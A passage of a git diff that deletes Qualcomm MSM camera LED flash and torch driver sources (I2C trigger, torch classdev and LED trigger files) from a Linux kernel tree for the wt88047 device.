(*flash_led_config)(struct msm_led_flash_ctrl_t *, void *); - int32_t (*flash_led_init)(struct msm_led_flash_ctrl_t *); - int32_t (*flash_led_release)(struct msm_led_flash_ctrl_t *); - int32_t (*flash_led_off)(struct msm_led_flash_ctrl_t *); - int32_t (*flash_led_low)(struct msm_led_flash_ctrl_t *); - int32_t (*flash_led_high)(struct msm_led_flash_ctrl_t *); -}; - -struct msm_led_flash_reg_t { - struct msm_camera_i2c_reg_setting *init_setting; - struct msm_camera_i2c_reg_setting *off_setting; - struct msm_camera_i2c_reg_setting *release_setting; - struct msm_camera_i2c_reg_setting *low_setting; - struct msm_camera_i2c_reg_setting *high_setting; -}; - -struct msm_led_flash_ctrl_t { - struct msm_camera_i2c_client *flash_i2c_client; - struct msm_sd_subdev msm_sd; - struct platform_device *pdev; - struct msm_flash_fn_t *func_tbl; - struct msm_camera_sensor_board_info *flashdata; - struct msm_led_flash_reg_t *reg_setting; - const char *flash_trigger_name[MAX_LED_TRIGGERS]; - struct led_trigger *flash_trigger[MAX_LED_TRIGGERS]; - uint32_t flash_op_current[MAX_LED_TRIGGERS]; - uint32_t flash_max_current[MAX_LED_TRIGGERS]; - const char *torch_trigger_name; - struct led_trigger *torch_trigger; - uint32_t torch_op_current; - uint32_t torch_max_current; - void *data; - uint32_t num_sources; - enum msm_camera_device_type_t flash_device_type; - enum cci_i2c_master_t cci_i2c_master; - enum msm_camera_led_config_t led_state; - uint32_t subdev_id; - struct msm_pinctrl_info pinctrl_info; -}; - -int msm_flash_i2c_probe(struct i2c_client *client, - const struct i2c_device_id *id); - -int msm_flash_probe(struct platform_device *pdev, const void *data); - -int32_t msm_led_flash_create_v4lsubdev(struct platform_device *pdev, - void *data); -int32_t msm_led_i2c_flash_create_v4lsubdev(void *data); - -int32_t msm_led_i2c_trigger_get_subdev_id(struct msm_led_flash_ctrl_t *fctrl, - void *arg); - -int32_t msm_led_i2c_trigger_config(struct msm_led_flash_ctrl_t *fctrl, - void *data); - -int msm_flash_led_init(struct msm_led_flash_ctrl_t *fctrl); -int msm_flash_led_release(struct msm_led_flash_ctrl_t *fctrl); -int msm_flash_led_off(struct msm_led_flash_ctrl_t *fctrl); -int msm_flash_led_low(struct msm_led_flash_ctrl_t *fctrl); -int msm_flash_led_high(struct msm_led_flash_ctrl_t *fctrl); -#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/msm_led_i2c_trigger.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/msm_led_i2c_trigger.c deleted file mode 100644 index 4b8a448345549..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/msm_led_i2c_trigger.c +++ /dev/null @@ -1,729 +0,0 @@ -/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - */ - -#define pr_fmt(fmt) "%s:%d " fmt, __func__, __LINE__ - -#include -#include -#include "msm_led_flash.h" -#include "msm_camera_io_util.h" -#include "../msm_sensor.h" -#include "msm_led_flash.h" -#include "../cci/msm_cci.h" -#include - -#define FLASH_NAME "camera-led-flash" -#define CAM_FLASH_PINCTRL_STATE_SLEEP "cam_flash_suspend" -#define CAM_FLASH_PINCTRL_STATE_DEFAULT "cam_flash_default" -/*#define CONFIG_MSMB_CAMERA_DEBUG*/ -#undef CDBG -#ifdef CONFIG_MSMB_CAMERA_DEBUG -#define CDBG(fmt, args...) pr_err(fmt, ##args) -#else -#define CDBG(fmt, args...) do { } while (0) -#endif - -int32_t msm_led_i2c_trigger_get_subdev_id(struct msm_led_flash_ctrl_t *fctrl, - void *arg) -{ - uint32_t *subdev_id = (uint32_t *)arg; - if (!subdev_id) { - pr_err("failed\n"); - return -EINVAL; - } - *subdev_id = fctrl->subdev_id; - - CDBG("subdev_id %d\n", *subdev_id); - return 0; -} - -int32_t msm_led_i2c_trigger_config(struct msm_led_flash_ctrl_t *fctrl, - void *data) -{ - int rc = 0; - struct msm_camera_led_cfg_t *cfg = (struct msm_camera_led_cfg_t *)data; - CDBG("called led_state %d\n", cfg->cfgtype); - - if (!fctrl->func_tbl) { - pr_err("failed\n"); - return -EINVAL; - } - switch (cfg->cfgtype) { - - case MSM_CAMERA_LED_INIT: - if (fctrl->func_tbl->flash_led_init) - rc = fctrl->func_tbl->flash_led_init(fctrl); - break; - - case MSM_CAMERA_LED_RELEASE: - if (fctrl->func_tbl->flash_led_release) - rc = fctrl->func_tbl-> - flash_led_release(fctrl); - break; - - case MSM_CAMERA_LED_OFF: - if (fctrl->func_tbl->flash_led_off) - rc = fctrl->func_tbl->flash_led_off(fctrl); - break; - - case MSM_CAMERA_LED_LOW: - if (fctrl->func_tbl->flash_led_low) - rc = fctrl->func_tbl->flash_led_low(fctrl); - break; - - case MSM_CAMERA_LED_HIGH: - if (fctrl->func_tbl->flash_led_high) - rc = fctrl->func_tbl->flash_led_high(fctrl); - break; - default: - rc = -EFAULT; - break; - } - CDBG("flash_set_led_state: return %d\n", rc); - return rc; -} -static int msm_flash_pinctrl_init(struct msm_led_flash_ctrl_t *ctrl) -{ - struct msm_pinctrl_info *flash_pctrl = NULL; - flash_pctrl = &ctrl->pinctrl_info; - if (flash_pctrl->use_pinctrl != true) { - pr_err("%s: %d PINCTRL is not enables in Flash driver node\n", - __func__, __LINE__); - return 0; - } - flash_pctrl->pinctrl = devm_pinctrl_get(&ctrl->pdev->dev); - - if (IS_ERR_OR_NULL(flash_pctrl->pinctrl)) { - pr_err("%s:%d Getting pinctrl handle failed\n", - __func__, __LINE__); - return -EINVAL; - } - flash_pctrl->gpio_state_active = pinctrl_lookup_state( - flash_pctrl->pinctrl, - CAM_FLASH_PINCTRL_STATE_DEFAULT); - - if (IS_ERR_OR_NULL(flash_pctrl->gpio_state_active)) { - pr_err("%s:%d Failed to get the active state pinctrl handle\n", - __func__, __LINE__); - return -EINVAL; - } - flash_pctrl->gpio_state_suspend = pinctrl_lookup_state( - flash_pctrl->pinctrl, - CAM_FLASH_PINCTRL_STATE_SLEEP); - - if (IS_ERR_OR_NULL(flash_pctrl->gpio_state_suspend)) { - pr_err("%s:%d Failed to get the suspend state pinctrl handle\n", - __func__, __LINE__); - return -EINVAL; - } - return 0; -} - - -int msm_flash_led_init(struct msm_led_flash_ctrl_t *fctrl) -{ - int rc = 0; - struct msm_camera_sensor_board_info *flashdata = NULL; - struct msm_camera_power_ctrl_t *power_info = NULL; - CDBG("%s:%d called\n", __func__, __LINE__); - - flashdata = fctrl->flashdata; - power_info = &flashdata->power_info; - fctrl->led_state = MSM_CAMERA_LED_RELEASE; - if (power_info->gpio_conf->cam_gpiomux_conf_tbl != NULL) { - pr_err("%s:%d mux install\n", __func__, __LINE__); - msm_gpiomux_install( - (struct msm_gpiomux_config *) - power_info->gpio_conf->cam_gpiomux_conf_tbl, - power_info->gpio_conf->cam_gpiomux_conf_tbl_size); - } - - /* CCI Init */ - if (fctrl->flash_device_type == MSM_CAMERA_PLATFORM_DEVICE) { - rc = fctrl->flash_i2c_client->i2c_func_tbl->i2c_util( - fctrl->flash_i2c_client, MSM_CCI_INIT); - if (rc < 0) { - pr_err("cci_init failed\n"); - return rc; - } - } - rc = msm_camera_request_gpio_table( - power_info->gpio_conf->cam_gpio_req_tbl, - power_info->gpio_conf->cam_gpio_req_tbl_size, 1); - if (rc < 0) { - pr_err("%s: request gpio failed\n", __func__); - return rc; - } - - if (fctrl->pinctrl_info.use_pinctrl == true) { - CDBG("%s:%d PC:: flash pins setting to active state", - __func__, __LINE__); - rc = pinctrl_select_state(fctrl->pinctrl_info.pinctrl, - fctrl->pinctrl_info.gpio_state_active); - if (rc) - pr_err("%s:%d cannot set pin to active state", - __func__, __LINE__); - } - msleep(20); - - CDBG("before FL_RESET\n"); - if (power_info->gpio_conf->gpio_num_info-> - valid[SENSOR_GPIO_FL_RESET] == 1) - gpio_set_value_cansleep( - power_info->gpio_conf->gpio_num_info-> - gpio_num[SENSOR_GPIO_FL_RESET], - GPIO_OUT_HIGH); - - gpio_set_value_cansleep( - power_info->gpio_conf->gpio_num_info-> - gpio_num[SENSOR_GPIO_FL_EN], - GPIO_OUT_HIGH); - - gpio_set_value_cansleep( - power_info->gpio_conf->gpio_num_info-> - gpio_num[SENSOR_GPIO_FL_NOW], - GPIO_OUT_HIGH); - - if (fctrl->flash_i2c_client && fctrl->reg_setting) { - rc = fctrl->flash_i2c_client->i2c_func_tbl->i2c_write_table( - fctrl->flash_i2c_client, - fctrl->reg_setting->init_setting); - if (rc < 0) - pr_err("%s:%d failed\n", __func__, __LINE__); - } - fctrl->led_state = MSM_CAMERA_LED_INIT; - return rc; -} - -int msm_flash_led_release(struct msm_led_flash_ctrl_t *fctrl) -{ - int rc = 0, ret = 0; - struct msm_camera_sensor_board_info *flashdata = NULL; - struct msm_camera_power_ctrl_t *power_info = NULL; - - flashdata = fctrl->flashdata; - power_info = &flashdata->power_info; - CDBG("%s:%d called\n", __func__, __LINE__); - if (!fctrl) { - pr_err("%s:%d fctrl NULL\n", __func__, __LINE__); - return -EINVAL; - } - - if (fctrl->led_state != MSM_CAMERA_LED_INIT) { - pr_err("%s:%d invalid led state\n", __func__, __LINE__); - return -EINVAL; - } - gpio_set_value_cansleep( - power_info->gpio_conf->gpio_num_info-> - gpio_num[SENSOR_GPIO_FL_EN], - GPIO_OUT_LOW); - gpio_set_value_cansleep( - power_info->gpio_conf->gpio_num_info-> - gpio_num[SENSOR_GPIO_FL_NOW], - GPIO_OUT_LOW); - if (power_info->gpio_conf->gpio_num_info-> - valid[SENSOR_GPIO_FL_RESET] == 1) - gpio_set_value_cansleep( - power_info->gpio_conf->gpio_num_info-> - gpio_num[SENSOR_GPIO_FL_RESET], - GPIO_OUT_LOW); - - if (fctrl->pinctrl_info.use_pinctrl == true) { - ret = pinctrl_select_state(fctrl->pinctrl_info.pinctrl, - fctrl->pinctrl_info.gpio_state_suspend); - if (ret) - pr_err("%s:%d cannot set pin to suspend state", - __func__, __LINE__); - } - rc = msm_camera_request_gpio_table( - power_info->gpio_conf->cam_gpio_req_tbl, - power_info->gpio_conf->cam_gpio_req_tbl_size, 0); - if (rc < 0) { - pr_err("%s: request gpio failed\n", __func__); - return rc; - } - - fctrl->led_state = MSM_CAMERA_LED_RELEASE; - /* CCI deInit */ - if (fctrl->flash_device_type == MSM_CAMERA_PLATFORM_DEVICE) { - rc = fctrl->flash_i2c_client->i2c_func_tbl->i2c_util( - fctrl->flash_i2c_client, MSM_CCI_RELEASE); - if (rc < 0) - pr_err("cci_deinit failed\n"); - } - - return 0; -} - -int msm_flash_led_off(struct msm_led_flash_ctrl_t *fctrl) -{ - int rc = 0; - struct msm_camera_sensor_board_info *flashdata = NULL; - struct msm_camera_power_ctrl_t *power_info = NULL; - - flashdata = fctrl->flashdata; - power_info = &flashdata->power_info; - CDBG("%s:%d called\n", __func__, __LINE__); - if (!fctrl) { - pr_err("%s:%d fctrl NULL\n", __func__, __LINE__); - return -EINVAL; - } - if (fctrl->flash_i2c_client && fctrl->reg_setting) { - rc = fctrl->flash_i2c_client->i2c_func_tbl->i2c_write_table( - fctrl->flash_i2c_client, - fctrl->reg_setting->off_setting); - if (rc < 0) - pr_err("%s:%d failed\n", __func__, __LINE__); - } - gpio_set_value_cansleep( - power_info->gpio_conf->gpio_num_info-> - gpio_num[SENSOR_GPIO_FL_NOW], - GPIO_OUT_LOW); - - return rc; -} - -int msm_flash_led_low(struct msm_led_flash_ctrl_t *fctrl) -{ - int rc = 0; - struct msm_camera_sensor_board_info *flashdata = NULL; - struct msm_camera_power_ctrl_t *power_info = NULL; - CDBG("%s:%d called\n", __func__, __LINE__); - - flashdata = fctrl->flashdata; - power_info = &flashdata->power_info; - gpio_set_value_cansleep( - power_info->gpio_conf->gpio_num_info-> - gpio_num[SENSOR_GPIO_FL_EN], - GPIO_OUT_HIGH); - - gpio_set_value_cansleep( - power_info->gpio_conf->gpio_num_info-> - gpio_num[SENSOR_GPIO_FL_NOW], - GPIO_OUT_HIGH); - - - if (fctrl->flash_i2c_client && fctrl->reg_setting) { - rc = fctrl->flash_i2c_client->i2c_func_tbl->i2c_write_table( - fctrl->flash_i2c_client, - fctrl->reg_setting->low_setting); - if (rc < 0) - pr_err("%s:%d failed\n", __func__, __LINE__); - } - - return rc; -} - -int msm_flash_led_high(struct msm_led_flash_ctrl_t *fctrl) -{ - int rc = 0; - struct msm_camera_sensor_board_info *flashdata = NULL; - struct msm_camera_power_ctrl_t *power_info = NULL; - CDBG("%s:%d called\n", __func__, __LINE__); - - flashdata = fctrl->flashdata; - power_info = &flashdata->power_info; - gpio_set_value_cansleep( - power_info->gpio_conf->gpio_num_info-> - gpio_num[SENSOR_GPIO_FL_EN], - GPIO_OUT_HIGH); - - gpio_set_value_cansleep( - power_info->gpio_conf->gpio_num_info-> - gpio_num[SENSOR_GPIO_FL_NOW], - GPIO_OUT_HIGH); - - if (fctrl->flash_i2c_client && fctrl->reg_setting) { - rc = fctrl->flash_i2c_client->i2c_func_tbl->i2c_write_table( - fctrl->flash_i2c_client, - fctrl->reg_setting->high_setting); - if (rc < 0) - pr_err("%s:%d failed\n", __func__, __LINE__); - } - - return rc; -} - -static int32_t msm_led_get_dt_data(struct device_node *of_node, - struct msm_led_flash_ctrl_t *fctrl) -{ - int32_t rc = 0, i = 0; - struct msm_camera_gpio_conf *gconf = NULL; - struct device_node *flash_src_node = NULL; - struct msm_camera_sensor_board_info *flashdata = NULL; - struct msm_camera_power_ctrl_t *power_info = NULL; - uint32_t count = 0; - uint16_t *gpio_array = NULL; - uint16_t gpio_array_size = 0; - uint32_t id_info[3]; - - CDBG("called\n"); - - if (!of_node) { - pr_err("of_node NULL\n"); - return -EINVAL; - } - - fctrl->flashdata = kzalloc(sizeof( - struct msm_camera_sensor_board_info), - GFP_KERNEL); - if (!fctrl->flashdata) { - pr_err("%s failed %d\n", __func__, __LINE__); - return -ENOMEM; - } - - flashdata = fctrl->flashdata; - power_info = &flashdata->power_info; - - rc = of_property_read_u32(of_node, "cell-index", &fctrl->subdev_id); - if (rc < 0) { - pr_err("failed\n"); - return -EINVAL; - } - - CDBG("subdev id %d\n", fctrl->subdev_id); - - rc = of_property_read_string(of_node, "label", - &flashdata->sensor_name); - CDBG("%s label %s, rc %d\n", __func__, - flashdata->sensor_name, rc); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - goto ERROR1; - } - - rc = of_property_read_u32(of_node, "qcom,cci-master", - &fctrl->cci_i2c_master); - CDBG("%s qcom,cci-master %d, rc %d\n", __func__, fctrl->cci_i2c_master, - rc); - if (rc < 0) { - /* Set default master 0 */ - fctrl->cci_i2c_master = MASTER_0; - rc = 0; - } - - fctrl->pinctrl_info.use_pinctrl = false; - fctrl->pinctrl_info.use_pinctrl = of_property_read_bool(of_node, - "qcom,enable_pinctrl"); - if (of_get_property(of_node, "qcom,flash-source", &count)) { - count /= sizeof(uint32_t); - CDBG("count %d\n", count); - if (count > MAX_LED_TRIGGERS) { - pr_err("failed\n"); - return -EINVAL; - } - for (i = 0; i < count; i++) { - flash_src_node = of_parse_phandle(of_node, - "qcom,flash-source", i); - if (!flash_src_node) { - pr_err("flash_src_node NULL\n"); - continue; - } - - rc = of_property_read_string(flash_src_node, - "linux,default-trigger", - &fctrl->flash_trigger_name[i]); - if (rc < 0) { - pr_err("failed\n"); - of_node_put(flash_src_node); - continue; - } - - CDBG("default trigger %s\n", - fctrl->flash_trigger_name[i]); - - rc = of_property_read_u32(flash_src_node, - "qcom,max-current", - &fctrl->flash_op_current[i]); - if (rc < 0) { - pr_err("failed rc %d\n", rc); - of_node_put(flash_src_node); - continue; - } - - of_node_put(flash_src_node); - - CDBG("max_current[%d] %d\n", - i, fctrl->flash_op_current[i]); - - led_trigger_register_simple( - fctrl->flash_trigger_name[i], - &fctrl->flash_trigger[i]); - } - - } else { /*Handle LED Flash Ctrl by GPIO*/ - power_info->gpio_conf = - kzalloc(sizeof(struct msm_camera_gpio_conf), - GFP_KERNEL); - if (!power_info->gpio_conf) { - pr_err("%s failed %d\n", __func__, __LINE__); - rc = -ENOMEM; - return rc; - } - gconf = power_info->gpio_conf; - - gpio_array_size = of_gpio_count(of_node); - CDBG("%s gpio count %d\n", __func__, gpio_array_size); - - if (gpio_array_size) { - gpio_array = kzalloc(sizeof(uint16_t) * gpio_array_size, - GFP_KERNEL); - if (!gpio_array) { - pr_err("%s failed %d\n", __func__, __LINE__); - rc = -ENOMEM; - goto ERROR4; - } - for (i = 0; i < gpio_array_size; i++) { - gpio_array[i] = of_get_gpio(of_node, i); - CDBG("%s gpio_array[%d] = %d\n", __func__, i, - gpio_array[i]); - } - - rc = msm_camera_get_dt_gpio_req_tbl(of_node, gconf, - gpio_array, gpio_array_size); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - goto ERROR4; - } - - rc = msm_camera_get_dt_gpio_set_tbl(of_node, gconf, - gpio_array, gpio_array_size); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - goto ERROR5; - } - - rc = msm_camera_init_gpio_pin_tbl(of_node, gconf, - gpio_array, gpio_array_size); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - goto ERROR6; - } - } - - flashdata->slave_info = - kzalloc(sizeof(struct msm_camera_slave_info), - GFP_KERNEL); - if (!flashdata->slave_info) { - pr_err("%s failed %d\n", __func__, __LINE__); - rc = -ENOMEM; - goto ERROR8; - } - - rc = of_property_read_u32_array(of_node, "qcom,slave-id", - id_info, 3); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - goto ERROR9; - } - fctrl->flashdata->slave_info->sensor_slave_addr = id_info[0]; - fctrl->flashdata->slave_info->sensor_id_reg_addr = id_info[1]; - fctrl->flashdata->slave_info->sensor_id = id_info[2]; - - kfree(gpio_array); - return rc; -ERROR9: - kfree(fctrl->flashdata->slave_info); -ERROR8: - kfree(fctrl->flashdata->power_info.gpio_conf->gpio_num_info); -ERROR6: - kfree(gconf->cam_gpio_set_tbl); -ERROR5: - kfree(gconf->cam_gpio_req_tbl); -ERROR4: - kfree(gconf); -ERROR1: - kfree(fctrl->flashdata); - kfree(gpio_array); - } - return rc; -} - -static struct msm_camera_i2c_fn_t msm_sensor_qup_func_tbl = { - .i2c_read = msm_camera_qup_i2c_read, - .i2c_read_seq = msm_camera_qup_i2c_read_seq, - .i2c_write = msm_camera_qup_i2c_write, - .i2c_write_table = msm_camera_qup_i2c_write_table, - .i2c_write_seq_table = msm_camera_qup_i2c_write_seq_table, - .i2c_write_table_w_microdelay = - msm_camera_qup_i2c_write_table_w_microdelay, -}; - -static struct msm_camera_i2c_fn_t msm_sensor_cci_func_tbl = { - .i2c_read = msm_camera_cci_i2c_read, - .i2c_read_seq = msm_camera_cci_i2c_read_seq, - .i2c_write = msm_camera_cci_i2c_write, - .i2c_write_table = msm_camera_cci_i2c_write_table, - .i2c_write_seq_table = msm_camera_cci_i2c_write_seq_table, - .i2c_write_table_w_microdelay = - msm_camera_cci_i2c_write_table_w_microdelay, - .i2c_util = msm_sensor_cci_i2c_util, - .i2c_write_conf_tbl = msm_camera_cci_i2c_write_conf_tbl, -}; - -#ifdef CONFIG_DEBUG_FS -static int set_led_status(void *data, u64 val) -{ - struct msm_led_flash_ctrl_t *fctrl = - (struct msm_led_flash_ctrl_t *)data; - int rc = -1; - pr_debug("set_led_status: Enter val: %llu", val); - if (!fctrl) { - pr_err("set_led_status: fctrl is NULL"); - return rc; - } - if (!fctrl->func_tbl) { - pr_err("set_led_status: fctrl->func_tbl is NULL"); - return rc; - } - if (val == 0) { - pr_debug("set_led_status: val is disable"); - rc = msm_flash_led_off(fctrl); - } else { - pr_debug("set_led_status: val is enable"); - rc = msm_flash_led_low(fctrl); - } - - return rc; -} - -DEFINE_SIMPLE_ATTRIBUTE(ledflashdbg_fops, - NULL, set_led_status, "%llu\n"); -#endif - -int msm_flash_i2c_probe(struct i2c_client *client, - const struct i2c_device_id *id) -{ - int rc = 0; - struct msm_led_flash_ctrl_t *fctrl = NULL; -#ifdef CONFIG_DEBUG_FS - struct dentry *dentry; -#endif - if (!i2c_check_functionality(client->adapter, I2C_FUNC_I2C)) { - pr_err("i2c_check_functionality failed\n"); - goto probe_failure; - } - - fctrl = (struct msm_led_flash_ctrl_t *)(id->driver_data); - if (fctrl->flash_i2c_client) - fctrl->flash_i2c_client->client = client; - /* Set device type as I2C */ - fctrl->flash_device_type = MSM_CAMERA_I2C_DEVICE; - - /* Assign name for sub device */ - snprintf(fctrl->msm_sd.sd.name, sizeof(fctrl->msm_sd.sd.name), - "%s", id->name); - - rc = msm_led_get_dt_data(client->dev.of_node, fctrl); - if (rc < 0) { - pr_err("%s failed line %d\n", __func__, __LINE__); - return rc; - } - - msm_flash_pinctrl_init(fctrl); - if (fctrl->flash_i2c_client != NULL) { - fctrl->flash_i2c_client->client = client; - if (fctrl->flashdata->slave_info->sensor_slave_addr) - fctrl->flash_i2c_client->client->addr = - fctrl->flashdata->slave_info-> - sensor_slave_addr; - } else { - pr_err("%s %s sensor_i2c_client NULL\n", - __func__, client->name); - rc = -EFAULT; - return rc; - } - - if (!fctrl->flash_i2c_client->i2c_func_tbl) - fctrl->flash_i2c_client->i2c_func_tbl = - &msm_sensor_qup_func_tbl; - - rc = msm_led_i2c_flash_create_v4lsubdev(fctrl); -#ifdef CONFIG_DEBUG_FS - dentry = debugfs_create_file("ledflash", S_IRUGO, NULL, (void *)fctrl, - &ledflashdbg_fops); - if (!dentry) - pr_err("Failed to create the debugfs ledflash file"); -#endif - CDBG("%s:%d probe success\n", __func__, __LINE__); - return 0; - -probe_failure: - CDBG("%s:%d probe failed\n", __func__, __LINE__); - return rc; -} - -int msm_flash_probe(struct platform_device *pdev, - const void *data) -{ - int rc = 0; - struct msm_led_flash_ctrl_t *fctrl = - (struct msm_led_flash_ctrl_t *)data; - struct device_node *of_node = pdev->dev.of_node; - struct msm_camera_cci_client *cci_client = NULL; - - if (!of_node) { - pr_err("of_node NULL\n"); - goto probe_failure; - } - fctrl->pdev = pdev; - - rc = msm_led_get_dt_data(pdev->dev.of_node, fctrl); - if (rc < 0) { - pr_err("%s failed line %d rc = %d\n", __func__, __LINE__, rc); - return rc; - } - - msm_flash_pinctrl_init(fctrl); - /* Assign name for sub device */ - snprintf(fctrl->msm_sd.sd.name, sizeof(fctrl->msm_sd.sd.name), - "%s", fctrl->flashdata->sensor_name); - /* Set device type as Platform*/ - fctrl->flash_device_type = MSM_CAMERA_PLATFORM_DEVICE; - - if (NULL == fctrl->flash_i2c_client) { - pr_err("%s flash_i2c_client NULL\n", - __func__); - rc = -EFAULT; - } - - fctrl->flash_i2c_client->cci_client = kzalloc(sizeof( - struct msm_camera_cci_client), GFP_KERNEL); - if (!fctrl->flash_i2c_client->cci_client) { - pr_err("%s failed line %d kzalloc failed\n", - __func__, __LINE__); - return rc; - } - - cci_client = fctrl->flash_i2c_client->cci_client; - cci_client->cci_subdev = msm_cci_get_subdev(); - cci_client->cci_i2c_master = fctrl->cci_i2c_master; - if (fctrl->flashdata->slave_info->sensor_slave_addr) - cci_client->sid = - fctrl->flashdata->slave_info->sensor_slave_addr >> 1; - cci_client->retries = 3; - cci_client->id_map = 0; - - if (!fctrl->flash_i2c_client->i2c_func_tbl) - fctrl->flash_i2c_client->i2c_func_tbl = - &msm_sensor_cci_func_tbl; - - rc = msm_led_flash_create_v4lsubdev(pdev, fctrl); - - CDBG("%s: probe success\n", __func__); - return 0; - -probe_failure: - CDBG("%s probe failed\n", __func__); - return rc; -} diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/msm_led_torch.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/msm_led_torch.c deleted file mode 100644 index ff6369634541c..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/msm_led_torch.c +++ /dev/null @@ -1,60 +0,0 @@ -/* Copyright (c) 2013, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - */ - -#define pr_fmt(fmt) "%s:%d " fmt, __func__, __LINE__ - -#include -#include "msm_led_flash.h" - -static struct led_trigger *torch_trigger; - -static void msm_led_torch_brightness_set(struct led_classdev *led_cdev, - enum led_brightness value) -{ - if (!torch_trigger) { - pr_err("No torch trigger found, can't set brightness\n"); - return; - } - - led_trigger_event(torch_trigger, value); -}; - -static struct led_classdev msm_torch_led = { - .name = "torch-light", - .brightness_set = msm_led_torch_brightness_set, - .brightness = LED_OFF, -}; - -int32_t msm_led_torch_create_classdev(struct platform_device *pdev, - void *data) -{ - int rc; - struct msm_led_flash_ctrl_t *fctrl = - (struct msm_led_flash_ctrl_t *)data; - - if (!fctrl || !fctrl->torch_trigger) { - pr_err("Invalid fctrl or torch trigger\n"); - return -EINVAL; - } - - torch_trigger = fctrl->torch_trigger; - msm_led_torch_brightness_set(&msm_torch_led, LED_OFF); - - rc = led_classdev_register(&pdev->dev, &msm_torch_led); - if (rc) { - pr_err("Failed to register led dev. rc = %d\n", rc); - return rc; - } - - return 0; -}; diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/msm_led_trigger.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/msm_led_trigger.c deleted file mode 100644 index ea9bf78e6fe1b..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/msm_led_trigger.c +++ /dev/null @@ -1,302 +0,0 @@ -/* Copyright (c) 2012-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - */ - -#define pr_fmt(fmt) "%s:%d " fmt, __func__, __LINE__ - -#include -#include "msm_led_flash.h" - -#define FLASH_NAME "camera-led-flash" - -/*#define CONFIG_MSMB_CAMERA_DEBUG*/ -#undef CDBG -#ifdef CONFIG_MSMB_CAMERA_DEBUG -#define CDBG(fmt, args...) pr_err(fmt, ##args) -#else -#define CDBG(fmt, args...) do { } while (0) -#endif - -extern int32_t msm_led_torch_create_classdev( - struct platform_device *pdev, void *data); - -static enum flash_type flashtype; -static struct msm_led_flash_ctrl_t fctrl; - -static int32_t msm_led_trigger_get_subdev_id(struct msm_led_flash_ctrl_t *fctrl, - void *arg) -{ - uint32_t *subdev_id = (uint32_t *)arg; - if (!subdev_id) { - pr_err("%s:%d failed\n", __func__, __LINE__); - return -EINVAL; - } - *subdev_id = fctrl->pdev->id; - CDBG("%s:%d subdev_id %d\n", __func__, __LINE__, *subdev_id); - return 0; -} - -static int32_t msm_led_trigger_config(struct msm_led_flash_ctrl_t *fctrl, - void *data) -{ - int rc = 0; - struct msm_camera_led_cfg_t *cfg = (struct msm_camera_led_cfg_t *)data; - uint32_t i; - uint32_t curr_l, max_curr_l; - CDBG("called led_state %d\n", cfg->cfgtype); - - if (!fctrl) { - pr_err("failed\n"); - return -EINVAL; - } - - switch (cfg->cfgtype) { - case MSM_CAMERA_LED_OFF: - for (i = 0; i < fctrl->num_sources; i++) - if (fctrl->flash_trigger[i]) - led_trigger_event(fctrl->flash_trigger[i], 0); - if (fctrl->torch_trigger) - led_trigger_event(fctrl->torch_trigger, 0); - break; - - case MSM_CAMERA_LED_LOW: - if (fctrl->torch_trigger) { - max_curr_l = fctrl->torch_max_current; - if (cfg->torch_current > 0 && - cfg->torch_current < max_curr_l) { - curr_l = cfg->torch_current; - } else { - curr_l = fctrl->torch_op_current; - pr_debug("LED current clamped to %d\n", - curr_l); - } - led_trigger_event(fctrl->torch_trigger, - curr_l); - } - break; - - case MSM_CAMERA_LED_HIGH: - if (fctrl->torch_trigger) - led_trigger_event(fctrl->torch_trigger, 0); - for (i = 0; i < fctrl->num_sources; i++) - if (fctrl->flash_trigger[i]) { - max_curr_l = fctrl->flash_max_current[i]; - if (cfg->flash_current[i] > 0 && - cfg->flash_current[i] < max_curr_l) { - curr_l = cfg->flash_current[i]; - } else { - curr_l = fctrl->flash_op_current[i]; - pr_debug("LED current clamped to %d\n", - curr_l); - } - led_trigger_event(fctrl->flash_trigger[i], - curr_l); - } - break; - - case MSM_CAMERA_LED_INIT: - case MSM_CAMERA_LED_RELEASE: - for (i = 0; i < fctrl->num_sources; i++) - if (fctrl->flash_trigger[i]) - led_trigger_event(fctrl->flash_trigger[i], 0); - if (fctrl->torch_trigger) - led_trigger_event(fctrl->torch_trigger, 0); - break; - - default: - rc = -EFAULT; - break; - } - CDBG("flash_set_led_state: return %d\n", rc); - return rc; -} - -static const struct of_device_id msm_led_trigger_dt_match[] = { - {.compatible = "qcom,camera-led-flash"}, - {} -}; - -MODULE_DEVICE_TABLE(of, msm_led_trigger_dt_match); - -static struct platform_driver msm_led_trigger_driver = { - .driver = { - .name = FLASH_NAME, - .owner = THIS_MODULE, - .of_match_table = msm_led_trigger_dt_match, - }, -}; - -static int32_t msm_led_trigger_probe(struct platform_device *pdev) -{ - int32_t rc = 